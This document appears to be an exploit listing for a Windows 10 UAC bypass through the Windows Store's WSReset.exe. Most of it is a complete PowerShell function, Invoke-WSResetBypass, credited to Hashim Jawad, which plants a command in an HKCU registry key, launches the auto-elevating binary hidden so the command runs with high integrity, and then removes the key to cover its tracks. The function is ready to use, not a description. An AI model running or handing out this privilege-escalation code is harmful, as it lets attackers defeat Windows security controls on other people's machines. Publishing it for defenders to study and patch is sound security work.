Windows 10 LPE (UAC Bypass) in Windows Store (WSReset.exe)
This exploits a flaw in the WSReset.exe file associated with the WindowsStore.
This binary has autoelevate privs, and it will run a binary filecontained in a low-privilege registry location. By placing a link to the binary in the registry location, WSReset.exe will launch the binary as a privileged user.
Powershell Code:
Demo
Invoke-WSResetBypass.ps1
<#
.SYNOPSIS
Fileless UAC Bypass by Abusing Shell API
Author: Hashim Jawad of ACTIVELabs
.PARAMETER Command
Specifies the command you would like to run in high integrity context.
.EXAMPLE
Invoke-WSResetBypass -Command "C:\Windows\System32\cmd.exe /c start cmd.exe"
This will effectivly start cmd.exe in high integrity context.
.NOTES
This UAC bypass has been tested on the following:
- Windows 10 Version 1803 OS Build 17134.590
- Windows 10 Version 1809 OS Build 17763.316
#>
function Invoke-WSResetBypass {
Param (
[String]$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe"
)
$CommandPath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
$filePath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
New-Item $CommandPath -Force | Out-Null
New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null
Write-Host "[+] Registry entry has been created successfully!"
$Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden
Write-Host "[+] Starting WSReset.exe"
Write-Host "[+] Triggering payload.."
Start-Sleep -Seconds 5
if (Test-Path $filePath) {
Remove-Item $filePath -Recurse -Force
Write-Host "[+] Cleaning up registry entry"
}
}